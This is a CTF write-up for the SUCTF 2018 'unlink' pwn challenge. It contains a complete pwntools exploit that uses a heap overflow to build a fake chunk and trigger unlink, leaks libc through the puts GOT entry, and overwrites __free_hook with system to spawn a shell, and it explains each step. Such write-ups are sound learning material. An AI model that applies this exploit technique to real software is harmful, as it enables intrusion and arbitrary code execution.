PWN · heap | unlink | free_hook[SUCTF 2018 New Recruitment Competition]unlink

After learning unlink in the early stage, I found a question called unlink in NSSCTF today and tried to do it without looking at wp. The process went smoothly!

Foreword

The questions are very bare in terms of unlinking knowledge points, very direct, and the ideas are very clear.

1. Title

2. Brief analysis of ideas

By decompiling the program, we found that there is a pointer sequence that stores the space address obtained by malloc, which is stored in the bss segment. At the same time, there is an overflow vulnerability in take_note, which can be used to unlink – hijack the pointer to the pointer sequence address on the bss segment. At the same time, the pointer area reached by malloc has read and write permissions, which means that we can achieve extremely high permissions to read and write to any address through unlink!

It is clear:

1.unlink

2.__free_hook hijacking

3.exp

The exp is given first, and then the breakpoint effects of part of the exp process are shown to everyone to facilitate everyone’s understanding. (Part 4, perform gdb debugging analysis on the broken point of raw_input())

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')

# io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28867)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def touch(size):
    io.sendlineafter(b'chooice :\
',b'1')
    io.sendlineafter(b'size : \
',str(size).encode())

def delete(index):
    io.sendlineafter(b'chooice :\
',b'2')
    io.sendlineafter(b'to delete\
',str(index).encode())

def show(index):
    io.sendlineafter(b'chooice :\
',b'3')
    io.sendlineafter(b'to show\
',str(index).encode())
    io.recvuntil(b'is : ')

def take_note(index,payload):
    io.sendlineafter(b'chooice :\
',b'4')
    io.sendlineafter(b'modify :\
',str(index).encode())
    io.sendafter(b'content\
',payload)

if input('[!]Input "0" to gdb attach : ')=='0':
    gdb.attach(io)
buf=0x6020C0
touch(0x20) # Write fake-chunk and overflow the next chunk
touch(0x80) # free triggers unlink
touch(0x100) # Prevent merging with topchunk
raw_input('[!]check')

# Write fake-chunk and overflow the next chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd) + p64(bk)
of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)
payload=prev_size + chunk_size + content + of_prev_size + of_chunk_size
take_note(0,payload)
raw_input('[!]check')

# trigger unlink
delete(1)
raw_input('[!]check')

# Modify the value of series ptr
payload=p64(0)*3 + p64(0x6020c8)
take_note(0,payload)
raw_input('[!]check')

# Leak libc address through puts
payload=p64(elf.got['puts'])
take_note(0,payload)
raw_input('[!]check')
show(1)
puts=u64(io.recvuntil(b'\x7f')[-6:] + b'\x00\x00')
success(hex(puts))

# __free_hook
libc_base=puts-libc.sym['puts']
free_hook=libc_base + libc.sym['__free_hook']
bin_sh_str=libc_base + next(libc.search(b'/bin/sh\x00'))
payload=p64(free_hook) + p64(bin_sh_str)
take_note(0,payload)
raw_input('[!]check')
system=libc_base + libc.sym['system']
take_note(1,p64(system))
raw_input('[!]check')
delete(2)

io.interactive()

4. Detailed analysis of exp effect

1.fake_chunk part

This is the memory situation just after allocating three chunks. When we execute the following statements to construct fake_chunk

2. Trigger unlink

Since we have carefully arranged the memory, our free chunk1 can forward merge the fake_chunk constructed in chunk0 and bypass the protection mechanism.

Take advantage of success!

3. Slightly modified

I have actually gained the ability to read and write at any address, but as a personal habit, I would first change the above address slightly.

4. Reading from any address – leaking libc – leaking the real address of puts

First, write the got table address of puts to bss, and then use the show function to access the area pointed to by the pointer on the stack, that is, what is stored in puts_got – the real address of puts. Through the relative address, the libc base address can be leaked to obtain other needs. function/string address

5. Hijack__free_hook

The idea is to write the got table of __free_hook at the chunk1 pointer, write the pointer to the string ‘/bin/sh\x00’ at the chunk2 position, then write __free_hook as system through the take_note function, and then free chunk2 to trigger system( ‘/bin/sh\x00’)

Successfully obtained shell (here is local debugging)